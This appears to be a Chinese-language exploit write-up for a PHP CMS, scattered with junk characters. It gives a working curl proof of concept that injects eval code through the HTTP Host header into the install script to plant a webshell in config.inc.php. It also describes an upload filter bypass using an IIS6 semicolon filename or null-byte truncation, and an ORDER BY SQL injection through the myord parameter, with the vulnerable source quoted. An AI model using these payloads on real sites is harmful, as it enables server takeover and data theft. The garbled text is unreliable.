注入:6 W" g& Y' \! z
: J# E; @& C% R! u! @
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码9 V l8 i: q- ?" F
& D9 h# f2 i% x鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件" `- ^' M. H( K. e; P" b0 X
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
! \: R' m/ N+ }# A2 a9 G9 B) h% G
8 Z$ P+ X9 |' D) r# e9 C虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
L* x4 B1 R$ a0 h) V/ z
9 ]( a, }. f3 ~$ K* ~分析:: \# V0 _3 ^) A+ j" M& p* B+ X# @
& h8 ^0 g. v( o: S9 X. i9 P- k ' z$ Y w4 p" s* o3 Z/ t C7 C
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤1 J! r) U" \. S0 z: |9 w. o
1 q/ ]" g! F( F9 U7 R8 B $filestr = fread(fopen($SysConfigFile, 'r'),30000);
) ~0 i4 ]0 e2 }6 C# L. A8 o4 k $filestr=str_replace(" ","",$filestr);
% u8 q; z$ i; `0 }% X/ g5 g9 u $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
$ e2 W( I2 q, M( \: w3 x. {* b $filestr=str_replace("DefaultDbName",$dbname,$filestr);
|5 A0 m2 [8 p+ H- w8 R $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);9 Q" g e' Q$ p% B6 Z! K r
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);% t6 B9 `8 f( T( g4 Q, U
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);" \ m, d; D1 z: I
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);5 `$ `* a) ~* k6 Y. T5 S6 b
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);, q0 _6 q( j$ h t
4 H) s8 [1 n1 m; D) B1 V
fwrite(fopen($ConFile,"w"),$filestr,30000);
0 S) ~1 l$ o( y$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^) Y+ m1 D- i4 i2 g
1 v% q$ v3 Z+ W' K7 W" V
poc:& f! O$ l4 {- z" k I! ?6 y- ?% Y
, m/ z1 V7 x5 R. O
?
; a3 u6 }+ ]$ j$ D" y) N! |7 @1
& T- F% \$ s% Z7 E% t2 g9 x# K% O7 Ucurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"' K* t- i9 z% E: V7 c7 O, ~" C. `
shell地址: /config.inc.php
+ |% q4 u4 ^2 ? @! `8 S* a5 c跟之前的 phpcms一样 需要远程数据库
! o/ y; G( a" G# p9 y! {3 `
Y! r6 F; a9 k( |7 B——————————————————–
& w7 i3 I4 ~$ N9 |# I上传漏洞(需要进后台):
3 q# n F0 l2 H) P7 {" y$ B/ H; o. O漏洞文件: /kedit/upload_cgi/upload.php
$ {5 }; u. ^( \' u5 c6 v7 c这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
0 T: C9 A" H* N. u8 g % r' f" {2 }9 ^
" ]! o+ V3 U5 H' k2 N; ?
<?php/ l2 R( F* T7 R8 k1 J
define("ROOTPATH", "../../");; F7 N7 Y5 G; u7 e5 r1 j5 o( v
include(ROOTPATH."includes/admin.inc.php");
' n/ G! g2 s0 Q3 U NeedAuth(0);
8 P2 z! u7 }, V1 A$ B; f2 v# D / I, D* u, C x Q
$dt=date("Ymd",time());
1 D- s/ u1 l; y S+ L: D if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
5 P, V, S9 I0 q8 f, v @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
* Z1 q0 U9 z$ c6 b' ` }
* _* |( a r' K, b - y" q/ Z2 h3 ]5 W& y& D" g
//文件保存目录路径7 r. a, H. J, d' [: L# f
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
6 L$ \' ~$ F2 T! E' i8 W echo $save_path;* N, N/ g/ S7 |; e/ ?) l4 p
//文件保存目录URL5 Z" V1 K. @) S
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
! O5 E; f, Q v6 o% h; _ 1 r* c0 G) n# J/ u" a) ]# l5 S' ]
//定义允许上传的文件扩展名& }2 m6 t( r- L2 m
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀& q9 ^6 B7 S6 u8 l6 J/ y
( Q2 }$ m9 z" E- H
//最大文件大小2 j" z6 R' I8 x, q2 b, d
$max_size = 1000000;
- ]( l& e7 c5 n3 `
; T. J2 p1 E' m% N //更改目录权限
+ i, e+ z! w+ `8 `7 O. r @mkdir($save_path, 0777);. C) Z: z( g! Z( i5 U* r, j- ?: U# Z
+ S' {- Z3 m9 E
//文件的全部路径
7 @6 T. A. P H' J! ] $file_path = $save_path.$_POST['fileName']; //保存文件名" q! |2 A) y3 e- T+ k
x6 U5 y8 _. |, E" x
//文件URL
& d( N( p+ p8 h& W9 }1 I; |1 g $file_url = $save_url.$_POST['fileName'];0 v( J) k) M/ N6 A5 {, t
//有上传文件时
" C6 A4 J; D% s0 N if (empty($_FILES) === false) {
, z9 r1 d6 O' c: }' g. N. o' z" o+ q+ g
9 }5 }9 B y; G9 m& f; b7 c8 D //原文件名7 E% W4 t: |! e( Z/ N6 W* S
$file_name = $_FILES['fileData']['name'];
/ W9 u7 [4 L! O5 ~+ a. D0 l! Q/ X //服务器上临时文件名4 w C, T- l( o: [
$tmp_name = $_FILES['fileData']['tmp_name'];
& A: l9 c# }1 f! y7 N) c //文件大小& q8 D' N0 {" T, Z5 {% w1 d
$file_size = $_FILES['fileData']['size'];
; _* ]4 `, o2 F% @# M //检查目录2 k& X( h( W4 |; H, o$ ?9 _
if (@is_dir($save_path) === false) {* R7 j" W! u) o" ^# W* u* d
alert("上传目录不存在。");
, k# t; K5 K5 T6 |1 f; u } H0 p5 E n0 y z
//检查目录写权限
8 K1 F! m9 V0 l! a+ w if (@is_writable($save_path) === false) {
b5 t5 C+ B, ?5 S/ I3 ^ alert("上传目录没有写权限。");" m0 E* [) b. n
}8 }1 X, A7 p$ Q' s
//检查是否已上传4 B/ a/ T; Y5 q3 q$ }
if (@is_uploaded_file($tmp_name) === false) {
6 ?# P* w9 S/ @$ ? alert("临时文件可能不是上传文件。");
3 r9 _( z* ~0 j) P; E6 [ }8 ^2 s3 \1 s( k3 \% O, f
//检查文件大小* M9 r3 E+ ?+ p8 W" T; q$ V
if ($file_size > $max_size) {/ P% A, D$ v6 Y8 ?+ Y7 Z' B
alert("上传文件大小超过限制。");
( s4 Q9 D7 W; Y& ~ }/ j5 d- Z# v2 `' w, z* t8 S
//获得文件扩展名
& B5 S( K6 Y$ E% d" _6 k6 p2 u5 c $temp_arr = explode(".", $_POST['fileName']);
& o/ U& P, @) u: |, K $file_ext = array_pop($temp_arr);
9 K5 o6 L9 I1 f, ^* t+ `2 T) e $file_ext = trim($file_ext);' z7 X b( z- W" ~1 Q
$file_ext = strtolower($file_ext);
$ }, K- p7 |# r) ~. v1 h* Z2 ^* a1 L# [ , j! f2 M- i: H8 L& Q1 a/ x" D
//检查扩展名 2 v( K m. J' {* R
if (in_array($file_ext, $ext_arr) === false) {
, C; N4 Q6 p, e. t6 Y4 h- l) s alert("上传文件扩展名是不允许的扩展名。");
( p4 N x6 d$ {+ ~. h) d& i0 u }
. g8 k( ?3 {- I9 f& `7 `# o; H % [! A" e& z* a* y, s: I2 W: X
//移动文件
. _! }: w7 k% H/ v //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
2 e2 j5 `4 D5 J$ b if (move_uploaded_file($tmp_name, $file_path) === false) {
( G% N$ ~$ H# }1 W: R. Y alert("上传文件失败。");
) @- _2 o1 A" P% q }
u7 r4 ^2 G9 |4 ]" K Z
" x y7 ~$ J2 _$ E @chmod($file_path,0666);* C$ n$ Q$ I! f$ _
- Y H9 \/ x7 C L) C# E# N1 L" s ?>
. Q2 R" U0 \# R4 g( k1 \抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
8 r; K3 N, _8 k2 S# R
7 O. r% p4 U& S" k# r# z3 capache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过4 ^3 B+ q& z: w$ V7 b
5 T* u' {* k' F- E; v3 r" |
——————————————————8 d; E; Z7 E% ?' @
注入漏洞:
0 D: i8 [$ L0 t' [漏洞文件:search/module/search.php
% p% q% u$ N% M0 q$ }, m6 ^/search/index.php?key=1&myord=1 [sqlinjection]! L9 g7 v @/ b) m" x2 C
: g* ^) P# ^9 x/ I* _
, J, e s- K; \! u/ F4 d. n- e<?php4 `8 N B8 Z% _5 O- t
// ... 省略 n 行...& r3 |5 O0 j! r& Z
//第18行:4 s- @3 ]/ r$ U
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
& a1 h) ~0 G/ l9 \8 t3 R D $page=htmlspecialchars($_GET["page"]);4 |3 _$ Z+ A, z- z
$myord=htmlspecialchars($_GET["myord"]);
: `& T1 s7 C; ]3 S8 _ ( l/ s* T: _0 t0 y$ F! H
// ... 省略 n 行...+ U U# e, ?" |8 ~ X9 z. Z
$key,$myord 两个参数带入查询
4 P/ B3 @ @- n, Q) V //第47行 $key:
& @7 f+ E8 q8 q: O% B$ w- P & B" H. Y0 F: h: E+ \
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
4 X% r/ n$ C% F4 ~/ C2 Y; L + I( |* C A; j2 w0 ^" n3 @
//第197行 $myord
! \( P% Q/ R6 q9 O" I $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入( o$ }- t! j" `+ _& o
: G, m3 Q, A. n' n, B+ j) Z ?>
& \8 l# O+ Q! |; Z# D, D |